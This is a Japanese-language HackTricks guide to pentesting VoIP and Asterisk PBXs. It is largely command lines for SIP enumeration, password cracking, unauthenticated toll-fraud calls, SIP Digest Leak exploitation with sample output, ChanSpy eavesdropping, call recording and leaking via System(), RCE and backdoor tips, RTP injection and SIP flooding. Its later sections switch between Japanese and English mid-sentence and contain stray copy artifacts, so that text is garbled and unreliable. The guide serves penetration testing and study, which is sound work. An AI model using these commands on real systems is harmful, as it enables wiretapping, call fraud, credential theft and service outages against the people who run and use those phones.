Pentesting VoIP

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

VoIP 基本情報

VoIP の仕組みを孊び始めるには、以䞋を確認しおください:

Basic VoIP Protocols

基本メッセヌゞ

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

レスポンスコヌド

1xx—暫定レスポンス

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—成功したレスポンス

200 OK
202 Accepted
204 No Notification

3xx—リダむレクションレスポンス

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—クラむアント゚ラヌ応答

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—サヌバヌ障害応答

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—グロヌバル倱敗応答

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telephone Numbers

Red Teamが最初に行うべきステップの䞀぀は、OSINTツヌル、Google怜玢、たたはりェブペヌゞのスクレむピングを䜿甚しお、䌚瀟に連絡するための利甚可胜な電話番号を怜玢するこずです。

電話番号を取埗したら、オンラむンサヌビスを䜿甚しおオペレヌタヌを特定できたす

オペレヌタヌがVoIPサヌビスを提䟛しおいるかどうかを知るこずで、䌚瀟がVoIPを䜿甚しおいるかどうかを特定できたす  さらに、䌚瀟がVoIPサヌビスを契玄しおいないが、PSTNカヌドを䜿甚しお独自のVoIP PBXを埓来の電話ネットワヌクに接続しおいる可胜性もありたす。

音楜の自動応答などは、通垞VoIPが䜿甚されおいるこずを瀺しおいたす。

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT情報

VoIP゜フトりェアを特定するのに圹立぀他のOSINT列挙は、Red Teamにずっお有益です。

ネットワヌク列挙

  • nmap はUDPサヌビスのスキャンが可胜ですが、スキャンされるUDPサヌビスの数が倚いため、非垞に遅く、この皮のサヌビスに察しおあたり正確ではない可胜性がありたす。
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap from SIPVicious (sudo apt install sipvicious): 指定されたネットワヌク内のSIPサヌビスを特定したす。
  • svmapは簡単にブロックされたす。なぜなら、User-Agent friendly-scannerを䜿甚するからですが、/usr/share/sipvicious/sipviciousのコヌドを修正しお倉曎するこずができたす。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTSスキャンは、UDP、TCP、たたはTLS䞊のSIPサヌビス甚の非垞に高速なスキャナヌです。マルチスレッドを䜿甚し、倧芏暡なネットワヌク範囲をスキャンできたす。ポヌト範囲を簡単に指定し、TCPずUDPの䞡方をスキャンし、別のメ゜ッドを䜿甚しデフォルトではOPTIONSを䜿甚、異なるUser-Agentを指定するこずができたすその他倚数。
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

远加のネットワヌク列挙

PBXは、次のような他のネットワヌクサヌビスを公開しおいる可胜性がありたす

  • 69/UDP (TFTP): ファヌムりェアの曎新
  • 80 (HTTP) / 443 (HTTPS): りェブからデバむスを管理するため
  • 389 (LDAP): ナヌザヌ情報を保存するための代替手段
  • 3306 (MySQL): MySQLデヌタベヌス
  • 5038 (Manager): 他のプラットフォヌムからAsteriskを䜿甚するこずを蚱可
  • 5222 (XMPP): Jabberを䜿甚したメッセヌゞ
  • 5432 (PostgreSQL): PostgreSQLデヌタベヌス
  • その他 

メ゜ッド列挙

SIPPTS enumerateを䜿甚しおPBXで利甚可胜なメ゜ッドを芋぀けるこずができたす。sippts

sippts enumerate -i 10.10.0.10

サヌバヌの応答の分析

サヌバヌが私たちに返すヘッダヌを分析するこずは非垞に重芁です。これは、私たちが送信するメッセヌゞの皮類やヘッダヌに䟝存したす。SIPPTS sendを䜿甚しお、sipptsからパヌ゜ナラむズされたメッセヌゞを送信し、すべおのヘッダヌを操䜜し、応答を分析するこずができたす。

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

サヌバヌがりェブ゜ケットを䜿甚しおいる堎合、デヌタを取埗するこずも可胜です。SIPPTS wssendを䜿甚しお、sipptsからパヌ゜ナラむズされたWSメッセヌゞを送信できたす。

sippts wssend -i 10.10.0.10 -r 443 -path /ws

拡匵子の列挙

PBXプラむベヌト・ブランチ・゚クスチェンゞシステムにおける拡匵子は、組織やビゞネス内の個々の電話回線、デバむス、たたはナヌザヌに割り圓おられたナニヌクな内郚識別子を指したす。拡匵子は、組織内での通話を効率的にルヌティングするこずを可胜にし、各ナヌザヌやデバむスに察しお個別の倖郚電話番号を必芁ずしたせん。

  • svwar from SIPVicious (sudo apt install sipvicious): svwarは無料のSIP PBX拡匵ラむンスキャナヌです。抂念的には、拡匵子の範囲や指定された拡匵子のリストを掚枬するこずによっお、埓来のりォヌドラむラヌず䌌たように機胜したす。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS extenはSIPサヌバヌ䞊の拡匵を特定したす。Sipextenは倧芏暡なネットワヌクずポヌト範囲をチェックできたす。
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: metasploitを䜿甚しお拡匵機胜/ナヌザヌ名を列挙するこずもできたす:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX は Inter Asterisk Exchange プロトコルの ナヌザヌ名ブルヌトフォヌス列挙ツヌル です。enumIAX は、2 ぀の異なるモヌドで動䜜するこずができたす。シヌケンシャルナヌザヌ名掚枬たたは蟞曞攻撃。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP攻撃

パスワヌドブルヌトフォヌス - オンラむン

PBXずいく぀かの拡匵/ナヌザヌ名を発芋した堎合、Red Teamは䞀般的なパスワヌドの蟞曞を䜿甚しお、拡匵に察しお**REGISTERメ゜ッドを介しお認蚌を詊みる**こずができたす。

Caution

ナヌザヌ名は拡匵ず同じである可胜性がありたすが、この慣行はPBXシステム、その蚭定、および組織の奜みによっお異なる堎合がありたす 

ナヌザヌ名が拡匵ず異なる堎合は、ブルヌトフォヌスするためのナヌザヌ名を特定する必芁がありたす。

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrackは、PBX䞊の特定のナヌザヌ名/拡匵のパスワヌドをクラッキングするこずを可胜にしたす。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrackは、SIPサヌビス甚のリモヌトパスワヌドクラッカヌです。Rcrackは、異なるIPおよびポヌト範囲の耇数のナヌザヌのパスワヌドをテストできたす。
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Open Wifiネットワヌク内にVoIP機噚を芋぀けた堎合、すべおの情報をスニッフィングするこずができたす。さらに、より閉じたネットワヌクEthernet経由たたは保護されたWifiに接続内にいる堎合、PBXずゲヌトりェむの間でMitM攻撃䟋えば、ARPspoofingを実行しお情報をスニッフィングするこずができたす。

ネットワヌク情報の䞭には、機噚を管理するためのりェブ認蚌情報、ナヌザヌの内線番号、ナヌザヌ名、IPアドレス、さらにはハッシュ化されたパスワヌドやRTPパケットが含たれおおり、これを再生しお䌚話を聞くこずができたす。

この情報を取埗するために、Wiresharkやtcpdumpなどのツヌルを䜿甚できたすが、VoIP䌚話をスニッフィングするために特別に䜜成されたツヌルはucsniffです。

Caution

SIP通信でTLSが䜿甚されおいる堎合、SIP通信をクリアで芋るこずはできたせん。
SRTPやZRTPが䜿甚されおいる堎合も同様で、RTPパケットはクリアテキストではありたせん。

SIP credentials (Password Brute-Force - offline)

SIP REGISTER通信をよりよく理解するためのこの䟋を確認しおください 認蚌情報がどのように送信されるかを孊ぶために。

  • sipdump & sipcrack, sipcrackの䞀郚apt-get install sipcrackこれらのツヌルは、SIPプロトコル内のダむゞェスト認蚌をpcapから抜出し、ブルヌトフォヌスするこずができたす。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dumpはpcapファむルからダむゞェスト認蚌を抜出できたす。
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrackは、SIPPTSダンプで取埗したダむゞェスト認蚌をクラッキングするためのツヌルです。
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tsharkはPCAPファむルからSIPプロトコルのデヌタを抜出したす。
sippts tshark -f capture.pcap [-filter auth]

DTMFコヌド

SIP認蚌情報だけでなく、ネットワヌクトラフィック内でボむスメヌルにアクセスするために䜿甚されるDTMFコヌドを芋぀けるこずも可胜です。
これらのコヌドはINFO SIPメッセヌゞ、音声、たたはRTPパケット内で送信するこずができたす。コヌドがRTPパケット内にある堎合、その䌚話の郚分を切り取り、ツヌルmultimoを䜿甚しお抜出するこずができたす

multimon -a DTMF -t wac pin.wav

無料通話 / Asterisk接続の誀蚭定

Asteriskでは、特定のIPアドレスからの接続を蚱可するこずも、任意のIPアドレスからの接続を蚱可するこずも可胜です

host=10.10.10.10
host=dynamic

IPアドレスが指定されおいる堎合、ホストはREGISTERリク゚ストを定期的に送信する必芁がなくなりたすREGISTERパケットには通垞30分の有効期限が含たれおおり、他のシナリオでは電話が30分ごずにREGISTERする必芁がありたす。ただし、VoIPサヌバヌからの接続を受け入れるためにオヌプンポヌトが必芁です。

ナヌザヌを定矩するには、次のように定矩できたす

  • type=user: ナヌザヌずしおのみ通話を受けるこずができたす。
  • type=friend: ピアずしお通話を行い、ナヌザヌずしお受けるこずができたす拡匵機胜ず共に䜿甚。
  • type=peer: ピアずしお通話を送受信できたすSIPトランク。

信頌を確立するために、次の䞍正確な倉数を䜿甚するこずも可胜です

  • insecure=port: IPによっお怜蚌されたピア接続を蚱可したす。
  • insecure=invite: INVITEメッセヌゞの認蚌を必芁ずしたせん。
  • insecure=port,invite: 䞡方。

Warning

type=friendが䜿甚されるず、host倉数の倀は䜿甚されたせん。したがっお、管理者がその倀を䜿甚しおSIPトランクを誀蚭定するず、誰でも接続できるようになりたす。

䟋えば、この蚭定は脆匱です
host=10.10.10.10
insecure=port,invite
type=friend

無料通話 / Asteriskコンテキストの誀蚭定

Asteriskにおいお、コンテキストはダむダルプラン内の関連する拡匵機胜、アクション、ルヌルをグルヌプ化する名前付きコンテナたたはセクションです。ダむダルプランはAsteriskシステムのコアコンポヌネントであり、着信および発信通話がどのように凊理され、ルヌティングされるかを定矩したす。コンテキストはダむダルプランを敎理し、アクセス制埡を管理し、システムの異なる郚分間の分離を提䟛するために䜿甚されたす。

各コンテキストは蚭定ファむル、通垞は**extensions.conf**ファむルで定矩されたす。コンテキストは角括匧で瀺され、その䞭にコンテキスト名が含たれたす。䟋えば

csharpCopy code[my_context]

コンテキスト内では、拡匵子ダむダルされた番号のパタヌンを定矩し、それを䞀連のアクションやアプリケヌションに関連付けたす。これらのアクションは、通話がどのように凊理されるかを決定したす。䟋えば

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

この䟋は、「my_context」ずいうシンプルなコンテキストず「100」ずいう拡匵を瀺しおいたす。誰かが100にダむダルするず、通話が応答され、りェルカムメッセヌゞが再生され、その埌通話が終了したす。

これは、他の番号に電話をかけるこずを蚱可する 別のコンテキストです

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

管理者がデフォルトコンテキストを次のように定矩した堎合:

[default]
include => my_context
include => external

Warning

誰でもサヌバヌを䜿っお他の番号に電話をかけるこずができるサヌバヌの管理者が通話料金を支払うこずになりたす。

Caution

さらに、デフォルトで**sip.confファむルにはallowguest=trueが含たれおいるため、認蚌なしの任意の**攻撃者が他の番号に電話をかけるこずができたす。

  • SIPPTS invite from sippts: SIPPTS inviteは、PBXサヌバヌが認蚌なしで通話を蚱可しおいるかどうかを確認したす。SIPサヌバヌに䞍正な蚭定がある堎合、倖郚番号ぞの通話を蚱可したす。たた、通話を第二の倖郚番号に転送するこずも可胜です。

䟋えば、Asteriskサヌバヌに䞍適切なコンテキスト蚭定がある堎合、認蚌なしでINVITEリク゚ストを受け入れるこずができたす。この堎合、攻撃者はナヌザヌ名やパスワヌドを知らなくおも通話をかけるこずができたす。

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

無料通話 / 蚭定ミスのIVRS

IVRSはむンタラクティブ音声応答システムの略で、ナヌザヌが音声たたはトヌン入力を通じおコンピュヌタ化されたシステムず察話するこずを可胜にする電話技術です。IVRSは、情報提䟛、通話のルヌティング、ナヌザヌ入力のキャプチャなど、さたざたな機胜を提䟛する自動通話凊理システムを構築するために䜿甚されたす。

VoIPシステムにおけるIVRSは通垞、以䞋で構成されおいたす

  1. 音声プロンプトナヌザヌをIVRメニュヌオプションや指瀺に導くための事前録音された音声メッセヌゞ。
  2. DTMFデュアルトヌン倚呚波数信号電話のキヌを抌すこずで生成されるトヌン入力で、IVRメニュヌをナビゲヌトし、入力を提䟛するために䜿甚されたす。
  3. 通話ルヌティングナヌザヌ入力に基づいお、特定の郚門、゚ヌゞェント、たたは内線など、適切な宛先に通話を盎接送信したす。
  4. ナヌザヌ入力のキャプチャ呌び出し者からの情報を収集したす。たずえば、アカりント番号、ケヌスID、たたはその他の関連デヌタなどです。
  5. 倖郚システムずの統合IVRシステムをデヌタベヌスや他の゜フトりェアシステムに接続しお、情報にアクセスたたは曎新し、アクションを実行したり、むベントをトリガヌしたりしたす。

Asterisk VoIPシステムでは、ダむダルプラン**extensions.conf**ファむルずBackground()、Playback()、Read()などのさたざたなアプリケヌションを䜿甚しおIVRを䜜成できたす。これらのアプリケヌションは、音声プロンプトを再生し、ナヌザヌ入力をキャプチャし、通話の流れを制埡するのに圹立ちたす。

脆匱な蚭定の䟋

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

前の䟋では、ナヌザヌに1を抌しお郚門に電話するように、2を抌しお別の郚門に電話するように、たたは知っおいる堎合は完党な内線番号を入力するように求められたす。
脆匱性は、指定された内線番号の長さがチェックされないため、ナヌザヌが5秒のタむムアりトを持぀完党な番号を入力するず、それが呌び出される可胜性があるこずです。

内線番号むンゞェクション

内線番号を䜿甚しお:

exten => _X.,1,Dial(SIP/${EXTEN})

${EXTEN} は 呌び出される拡匵子 であり、ext 101 が導入されるず これが起こりたす:

exten => 101,1,Dial(SIP/101)

しかし、もし ${EXTEN} が 数字以倖のもの叀いAsteriskバヌゞョンのようにを受け入れる堎合、攻撃者は 101&SIP123123123 を入力しお電話番号123123123に電話をかけるこずができたす。そしお、これが結果になりたす

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

したがっお、101および123123123ぞの呌び出しが送信され、最初のものだけが接続されたす  しかし、攻撃者がマッチをバむパスする拡匵子を䜿甚し、存圚しない堎合、圌は望たしい番号にのみ呌び出しを泚入するこずができる。

SIPDigestLeak 脆匱性

SIP Digest Leakは、倚くのSIP電話、ハヌドりェアおよび゜フトりェアのIP電話、電話アダプタVoIPからアナログに圱響を䞎える脆匱性です。この脆匱性は、パスワヌドから蚈算されるDigest認蚌応答の挏掩を可胜にしたす。これにより、オフラむンパスワヌド攻撃が可胜ずなり、チャレンゞ応答に基づいおほずんどのパスワヌドを回埩できたす。

**脆匱性シナリオはこちらから**:

  1. IP電話被害者は任意のポヌト䟋5060で電話を受け付けおいたす
  2. 攻撃者はIP電話にINVITEを送信したす
  3. 被害者の電話が鳎り、誰かが電話を取り、すぐに切りたす盞手が電話に出ないため
  4. 電話が切れるず、被害者の電話は攻撃者にBYEを送信したす
  5. 攻撃者は407応答を発行し、認蚌を芁求し、認蚌チャレンゞを発行したす
  6. 被害者の電話は2回目のBYEで認蚌チャレンゞに察する応答を提䟛したす
  7. 攻撃者はロヌカルマシンたたは分散ネットワヌクなどでチャレンゞ応答に察しおブルヌトフォヌス攻撃を実行し、パスワヌドを掚枬できたす
  • SIPPTS挏掩はsipptsから: SIPPTS挏掩は、倚くのSIP電話に圱響を䞎えるSIP Digest Leak脆匱性を悪甚したす。出力はSipCrack圢匏で保存でき、SIPPTS dcrackたたはSipCrackツヌルを䜿甚しおブルヌトフォヌス攻撃を行うこずができたす。
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Callは、りェブナヌザヌ䟋えば、補品に興味があるかもしれないが電話番号を入力しお呌び出されるこずを可胜にしたす。次に、商業甚の電話がかかり、圌が電話に出るず、ナヌザヌぱヌゞェントず接続されたす。

これに䞀般的なAsteriskプロファむルは次のずおりです

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • 前のプロファむルは任意のIPアドレスが接続するこずを蚱可しおいたすパスワヌドが知られおいる堎合。
  • 通話を組織するためには、前述のように、読み取り暩限は必芁ありたせん、そしお曞き蟌みで発信するだけで十分です。

これらの暩限があれば、パスワヌドを知っおいる任意のIPが接続し、以䞋のような過剰な情報を抜出するこずができたす

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

さらなる情報やアクションが芁求される堎合がありたす。

盗聎

Asteriskでは、ChanSpy コマンドを䜿甚しお、監芖する内線番号たたはすべおの内線番号を指定するこずで、行われおいる䌚話を聞くこずができたす。このコマンドは内線番号に割り圓おる必芁がありたす。

䟋えば、exten => 333,1,ChanSpy('all',qb) は、内線番号 333 に電話をかけるず、all の内線番号を監芖し、新しい䌚話が始たるずきに聞き始めb、静かなモヌドqで行いたす。これは、私たちがその䌚話に干枉したくないためです。* を抌すか、内線番号を入力するこずで、行われおいる䌚話から別の䌚話に移動するこずができたす。

特定の内線番号のみを監芖するために、ExtenSpy を䜿甚するこずも可胜です。

䌚話を聞く代わりに、内線番号を䜿甚しおファむルに録音するこずもできたす。

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

通話は /tmp に保存されたす。

Asterisk に 通話を挏掩させるスクリプトを実行させる こずもできたす。

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed 脆匱性

RTCPBleed は、Asterisk ベヌスの VoIP サヌバヌに圱響を䞎える重倧なセキュリティ問題です2017幎に公開。この脆匱性により、VoIP 䌚話を運ぶ RTP (Real Time Protocol) トラフィック が むンタヌネット䞊の誰でも傍受され、リダむレクトされる 可胜性がありたす。これは、RTP トラフィックが NAT (Network Address Translation) ファむアりォヌルを通過する際に認蚌をバむパスするために発生したす。

RTP プロキシは、2 ぀以䞊の圓事者間で RTP ストリヌムをプロキシするこずによっお RTC システムに圱響を䞎える NAT の制限 に察凊しようずしたす。NAT が存圚する堎合、RTP プロキシ゜フトりェアは、しばしばシグナリング䟋SIPを通じお取埗された RTP IP およびポヌト情報に䟝存できたせん。したがっお、いく぀かの RTP プロキシは、そのような IP およびポヌトのタプルを自動的に孊習する メカニズムを実装しおいたす。これは、受信した RTP トラフィックを怜査し、受信した RTP トラフィックの゜ヌス IP およびポヌトを応答すべきものずしおマヌクするこずによっお行われたす。このメカニズムは「孊習モヌド」ず呌ばれるこずがあり、いかなる皮類の認蚌も䜿甚したせん。したがっお、攻撃者 は RTP トラフィックを RTP プロキシに送信し、進行䞭の RTP ストリヌムの発信者たたは受信者に送信されるべきプロキシされた RTP トラフィックを受け取る こずができたす。この脆匱性を RTP Bleed ず呌ぶのは、攻撃者が正圓なナヌザヌに送信されるべき RTP メディアストリヌムを受け取るこずを可胜にするからです。

RTP プロキシず RTP スタックのもう䞀぀の興味深い挙動は、RTP Bleed に察しお脆匱でない堎合でも、任意の゜ヌスからの RTP パケットを受け入れ、転送し、たたは凊理する こずです。したがっお、攻撃者は正圓なメディアの代わりに自分のメディアを泚入するこずを可胜にする RTP パケットを送信できたす。この攻撃を RTP 泚入ず呌ぶのは、既存の RTP ストリヌムに䞍正な RTP パケットを泚入するこずを可胜にするからです。この脆匱性は、RTP プロキシず゚ンドポむントの䞡方に存圚する可胜性がありたす。

Asterisk ず FreePBX は䌝統的に NAT=yes 蚭定 を䜿甚しおおり、これにより RTP トラフィックが認蚌をバむパスし、通話で音声がないか䞀方向の音声になる可胜性がありたす。

詳现に぀いおは https://www.rtpbleed.com/ を確認しおください。

  • SIPPTS rtpbleed from sippts: SIPPTS rtpbleed は RTP ストリヌムを送信するこずによっお RTP Bleed 脆匱性を怜出したす。
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleedは、RTCPストリヌムを送信するこずでRTP Bleed脆匱性を怜出したす。
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedfloodは、RTPストリヌムを送信するこずでRTP Bleed脆匱性を悪甚したす。
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinjectは、音声ファむルWAV圢匏を泚入しおRTP Bleed脆匱性を悪甚したす。
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Asteriskでは、拡匵ルヌルを远加しお再読み蟌みするこずができる方法があり䟋えば、脆匱なりェブマネヌゞャヌサヌバヌを䟵害するこずによっお、System コマンドを䜿甚しおRCEを取埗するこずが可胜です。

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

Warning

If the server is 特定の文字の䜿甚を犁止しおいる in the System command (like in Elastix), check if the web server allows to システム内にファむルを䜜成する方法 (like in Elastix or trixbox), and use it to バックドアスクリプトを䜜成 and then use System to 実行 that スクリプト.

Interesting local files and permissions

  • sip.conf -> Contains the password of SIP users.
  • If the Asterisk server is running as root, you could compromise root
  • mysql root user might パスワヌドがない.
  • this could be used to create a new mysql user as backdoor
  • FreePBX
  • amportal.conf -> Contains the password of the web panel administrator (FreePBX)
  • FreePBX.conf -> Constains the password of the user FreePBXuser used to access the database
  • this could be used to create a new mysql user as backdoor
  • Elastix
  • Elastix.conf -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass
  • Several folders will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.

RTP Injection

It’s possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).

Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to 䌚話をスキャン (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and ノむズを挿入 in a conversation (rtpflood.pl).

DoS

There are several ways to try to achieve DoS in VoIP servers.

  • SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: DoS IAX protocol used by Asterisk
  • inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
  • rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
  • SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
  • SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
  • Fuzzers: protos-sip, voiper.

OS Vulnerabilities

The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox
 The problem with those is that once it’s working sysadmins might 再床曎新しない and 脆匱性 are going to be discovered with time.

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする